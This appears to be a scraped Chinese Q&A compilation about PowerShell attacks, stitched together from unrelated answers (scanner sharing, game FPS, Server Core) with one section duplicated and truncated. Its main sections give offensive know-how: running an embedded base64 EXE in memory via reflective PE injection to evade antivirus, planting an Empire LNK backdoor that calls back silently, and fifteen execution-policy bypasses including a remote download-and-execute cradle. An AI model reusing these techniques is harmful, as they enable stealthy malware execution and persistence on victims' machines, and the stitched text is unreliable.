powershell挖礦攻擊
1. 如何在PowerShell腳本中嵌入EXE文件
我在嘗試解決一個問題,即在客戶端攻擊中只使用純 PowerShell 腳本作為攻擊負荷。使用 PowerShell 運行惡意代碼具有很多優點,包括:
1.無需在目標上安裝其他任何東西。
2.強大的引擎(例如可以直接調用 .NET 代碼)。
3.可以使用 base64 編碼命令來混淆惡意命令,使惡意命令變的不容易被發現。這同樣也是一種可以避免使用特殊字元的方法,尤其是在一個涉及多個步驟需要分離不同攻擊負荷的高級攻擊中。
4.可以使用Invoke-Expression將字元串解釋為 Powershell
命令。從滲透測試的角度看,這可以避免在目標磁碟上編寫復雜的腳本。例如:你可以使用 Powershell 下載額外的復雜腳本,然後通過調用
Invoke-Expression 解釋並執行下載到內存中的腳本。這個過程同樣可以躲避殺毒軟體的查殺。
我們想在目標上運行一些相當復雜的功能,這些功能常是 EXE 文件的一部分。我不想直接在目標上放置一個二進制文件,因為這樣可能會觸發反病毒機制。所以我想將其放入 Powershell 腳本中,不過我也不想重寫整個 Powershell 腳本。
最終我想到一個辦法。
將二進制文件嵌入到 Powershell 腳本中,並直接通過腳本運行而不用將其寫入到磁碟里。
下面演示解決步驟:
1.將二進制文件進行 base64 編碼
可以使用以下函數:
function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath
)
try {
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
}
catch {
throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
}
if ($ByteArray) {
$Base64String = [System.Convert]::ToBase64String($ByteArray);
}
else {
throw '$ByteArray is $null.';
}
Write-Output -InputObject $Base64String;
}
2. 按如下過程創建一個新的腳本
1.用上一步的方法將 EXE 文件轉為字元串;
2.准備 Invoke-ReflectivePEInjection(Powersploit project 的一部分);
3.將字元串轉為位元組數組;
4.調用 Invoke-ReflectivePEInjection。
所以,二進制文件只是 Powershell 腳本中的一段字元串,在將字元串解碼為二進制數組後,就可以調用 Invoke-ReflectivePEInjection 直接在內存中運行。
最後看起來像這樣:
# base64 編碼的二進制文件
$InputString = '...........'
function Invoke-ReflectivePEInjection
{
......
......
......
}
# 將二進制字元串轉為位元組數組
$PEBytes = [System.Convert]::FromBase64String($InputString)
# 在內存中運行 EXE
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
現在就可以在目標上運行腳本了:
powershell -ExecutionPolicy Bypass -File payload.ps1
根據嵌入的不同二進制文件,可能會出現以下錯誤:
PE platform doesn』t match the architecture of the process it is being loaded in (32/64bit)
解決這個問題只需要運行 32 位的 PowerShell 即可。
下面是我將 plink.exe 嵌入 payload.ps1 的例子:
2. windows powershell 怎麼掃描共享文件夾
掃描的文件傳不到電腦里的共享文件夾,原因如下:1、再次檢查掃描儀的內部設置,在點擊保存時的文件夾是否勾選上。
2、檢查電腦上的共享文件夾名稱是否被惡意更改過。解決 辦法:糾正共享文件夾名稱。
3、利用 殺毒軟體進行全盤掃描,是否被病毒感染或黑客攻擊。解決 辦法:重啟電腦,再次掃描。
4、檢查電腦掃描程序,是否被惡意刪除掃描程序。解決辦法,重啟電腦,重新安裝掃描軟體 。
3. 如何創建Powershell持久隱蔽後門
1、安裝後門
這次需要用到powershell攻擊框架Empire,使用Empire/data/mole_source/persistence/Invoke-BackdoorLNK.ps1這個腳本
-LNKPath是要利用的lnk的路徑,每次打開這個lnk文件時都會執行原始的應用程序和 -Enc後面的惡意powershell代碼
先通過empire生成反彈的powershell代碼
./empire 進入empire
輸入listeners 進入監聽界面 設置好ip與埠
launcher 1 生成power shell代碼
這里我們只復制 -Enc 後面的代碼
然後執行
看到以上界面就代表後門安裝完成
當我們運行navicat快捷方式的同時 可以看到powershell.exe已經悄悄的鏈接empire
4. one system care是什麼東西
是一種下載了會自動在電腦植入惡意挖礦木馬和修改用戶DNS配置強行插入廣告木馬的工具。不建議下載。
啟動腳本定時去執行請求URL,木馬作者只需要將URL設置成木馬可下載,用戶就會中招。
5. 如何在 Server Core 上裝 PowerShell
Server Core是在Windows Server 2008系統上開始引入的極小的伺服器安裝選項,server core 的作用就是為特定的服務提供一個可執行的功能有限的低維護伺服器環境,為我們帶來了提升伺服器的穩定性、減少軟體維護量、降低被攻擊風險、更少的空間佔有率等益處
在 Windows Server 2012 中,管理員可以直接在Server Core版本和GUI版本之間切換,不需要在進行重裝系統。簡化了管理員選擇操作系統界面版本的復雜程度和今後進行切換的難易程度,這些操作只需要Powershell就可以完成。
1.首先,來看看在GUI界面下切換到ServerCore的操作,打開Powershell,執行Uninstall-WindowsFeature Server-Gui-Mgmt-Infra -Restart,命令完成後會自動重啟服務,即切換為Server Core界面
2.重啟完畢後,登錄到伺服器,在命令行執行sconfig進入到伺服器配置,在這里可以對伺服器進行配置,能夠執行修改計算機名、加入域,網路設置等操作。也可以運行MMC.exe並使用任何管理單元。
3.接下來,退出到命令行,輸入powershell,准備進行GUI界面的還原。
6. 為什麼我打英雄聯盟的FPS那麼低
1、檢查後台進程、看看是否有挖礦等佔用顯卡的進程。例如佔用大量cpu的powershell.exe
2、檢查驅動,是否兼容,這里可以選擇直接卸載驅動,去官網勾選你的顯卡,去下載對應驅動會好的多,我之前用360驅動大師,安裝的驅動,居然不兼容,各種重啟藍屏。
3、用dx修復工具修復一下。
4、我覺得你應該不會犯這種低級錯誤,就是把顯示器介面插在了主板上,而不是顯卡上。。。
7. 如何在PowerShell腳本中嵌入EXE文件
1.將二進制文件進行 base64 編碼
可以使用以下函數:
function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath
)
try {
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
}
8. 哪些方法可以繞過PowerShell Execution Policy
默認情況下,PowerShell禁止PowerShell腳本在Windows系統中執行。這會妨礙滲透測試員,系統管理員,和開發人員……在這里我將在沒有系統管理員許可權的情況下通過15個方法來繞過PowerShell execution policy。
我肯定還有很多的技術漏了(或者我根本不知道),但希望這篇文章將給需要它的人提供一個良好的開端。
什麼是PowerShell Execution Policy?
PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統中運行。默認情況下,它是「 Restricted 」(限制)的。然而,這個設置從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什麼我們有這么多繞過它的方法。包括一些微軟提供的。更多關於在PowerShell執行政策設置,默認的安全控制的設置。我建議閱讀Carlos Perez的 博客 。他提供了一個很好的概述。
為什麼要繞過執行政策?
我聽到的最多的原因是因為人們希望實現自動化操作,但下面還有一些其他原因致使PowerShell在管理員、滲透測試員、黑客們手中如此流行:
支持Windows
能調用Windows API
能在不寫入磁碟的情況下運行命令
能避免病毒的檢測
總是被標記為"信任"。是大部分應用程序的白名單一員。
曾寫出過許多的開源滲透測試工具包
如何查看Execution Policy
在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過「Restricted」(限制)execution
policy。你可以通過PowerShell命令「executionpolicy「看看當前的配置。如果你第一次看它的設置可能設置為
「Restricted」(限制),如下圖所示
PS C:> Get-ExecutionPolicy
同樣值得注意的是execution policy可以在系統中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這里查看微軟的「Set-ExecutionPolicy」 。
Get-ExecutionPolicy -List | Format-Table -AutoSize
實驗環境說明
在下面的例子中我將使用一個名為runme.ps1的腳本,它將包含以下PowerShell命令來寫出一個消息到控制台:
Write-Host "My voice is my passport, verify me."
當我試圖在一個帶有默認execution policy的系統上執行它時,我得到以下錯誤:
如果你目前的execution
policy是開放的,你想讓它更嚴格的測試,下面的技巧,然後從管理員PowerShell控制台運行命令「Set-ExecutionPolicy
Restricted」。OK,那我接著BB了,接下來我會通過15種方法來繞過PowerShell execution policy的限制。
繞過PowerShell Execution Policy
1. 把腳本直接粘貼到互動式的PowerShell控制台
復制並粘貼你的PowerShell腳本為一個互動式控制台如下圖所示。但是,請記住,你將被當前用戶許可權限制。這是最基本的例子,當你有一個交互控制台時,可以方便快速地運行腳本。此外,這種技術不會更改配置或需要寫入磁碟。
2. Echo腳本並PowerShell的標准輸入
簡單的ECHO腳本到PowerShell的標准輸入。這種技術不會導致配置的更改或要求寫入磁碟。
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
3. 從文件中讀取腳本並通過PowerShell的標准輸入
使用Windows的"type"命令或PowerShell的"Get-Content"命令來從磁碟讀取你的腳本並輸入到標準的
PowerShell中,這種技術不會導致配置文件的更改,但是需要寫入磁碟。然而,如果你想試圖避免寫到磁碟,你可以從網路上讀取你的腳本。
例1:Get-Content Powershell命令
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
例2:Type 命令
TYPE .runme.ps1 | PowerShell.exe -noprofile -
4. 從網路上下載腳本並通過IEX執行它
這種技術可以用來從網上下載一個PowerShell腳本並執行它無需寫入磁碟。它也不會導致任何配置更改。我已經看到它有許多創造性的使用方法,但最近看到它被引用到一個不錯的Matt Graeber的PowerSploit博客上。
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
5. 使用Command
這種技術和通過復制和粘貼來執行一個腳本是非常相似的,但它可以做沒有互動式控制台。這是很好的方式適合執行簡單的腳本,但更復雜的腳本通常容易出現錯誤。這種技術不會導致配置更改或要求寫入磁碟。
例1:完整的命令
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
例2:簡短的命令
Powershell -c "Write-Host 'My voice is my passport, verify me.'"
6. 使用EncodeCommand
這和使用"Command"命令非常像,但它為所有的腳本提供了一個Unicode /
Base64編碼串。通過這種方式加密你的腳本可以幫你繞過所有通過"Command"執行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁
盤。下面的示例來自 Posh-SecMod。
例1: 完整的命令
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
例2: 通過簡短的命令使用編碼串
powershell.exe -Enc
7. 使用Invoke-Command命令
我在obscuresec的博客看到了這種有趣的方法。這是一個典型的通過互動式PowerShell控制台執行的方法。但最酷的是當PowerShell遠程處理開啟時我可以用它來對遠程系統執行命令。這種技術不會導致配置更改或要求寫入磁碟。
invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}
基於obscuresec博客,下面的命令還可以用來抓取從遠程計算機的execution policy並將其應用到本地計算機。
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
8. 使用Invoke-Expression命令
這是另一個典型的通過互動式PowerShell控制台執行的方法。這種技術不會導致配置更改或要求寫入磁碟。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。
例1:使用Get-Content的完整命令
Get-Content .runme.ps1 | Invoke-Expression
例2:使用Get-Content的簡短的命令
GC .runme.ps1 | iex
9.使用"Bypass"標記Execution Policy
當你通過腳本文件執行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候"沒有任何東西被阻止,沒有任何警告或提示"。這種技術不會導致配置更改或要求寫入磁碟。
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
10. 使用"Unrestricted"標記Execution Policy
這類似於"Bypass"標記。當你使用這個標記的時候,它會"載入所有的配置文件並運行所有的腳本。如果你運行從網上下載的一個未被簽名的腳本,它會提示你需要許可權",這種技術不會導致配置的更改或要求寫入磁碟。
PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
11. 使用 "Remote-Signed"標記Execution Policy
創建你的腳本,然後按照教程的操作。最後,使用下面的命令運行它:
PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
12. 通過交換AuthorizationManager禁用ExecutionPolicy
這真是一個我碰到的來自http://www.nivot.org的創意。下面的函數可以通過一個互動式的PowerShell來執行。一旦函數
被調用"AuthorizationManager"就會被替換成空。最終結果是,接下來的會話基本上不受execution
policy的限制。然而,它的變化將被應用於會話的持續時間。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy .runme.ps1
13. 把ExcutionPolicy設置成Process Scope
正如我們在引言中所看到的,執行策略可以應用於多層次的。這包括你控制的過程。使用這種技術,執行策略可以被設置為您的會話的持續時間不受限制。此外,它不會導致在配置更改,或需要寫入到磁碟。我最初發現這種技術來自r007break博客。
Set-ExecutionPolicy Bypass -Scope Process
14. 通過命令設置ExcutionPolicy為CurrentUser Scope
這種方法和上面那種類似。但是這種方法通過修改注冊表將當前用戶環境的設置應用到當前用戶的環境中。此外,它不會導致在配置更改,或需要寫入到磁碟。我最初發現這種技術來自r007break博客。
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
15. 通過注冊表設置ExcutionPolicy為CurrentUser Scope
在這個例子中,我展示了如何通過修改注冊表項來改變當前用戶的環境的執行策略。
HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell
總結
我覺得這里的主題是:使用的execution policy不一定是開發商,管理員,或者。微軟從來沒有打算將它成為一個安全控制。這就是為什麼有這么多選擇繞過它。微軟很好地提供了一些本地選項和安全社區也拿出一些真正有趣的把戲。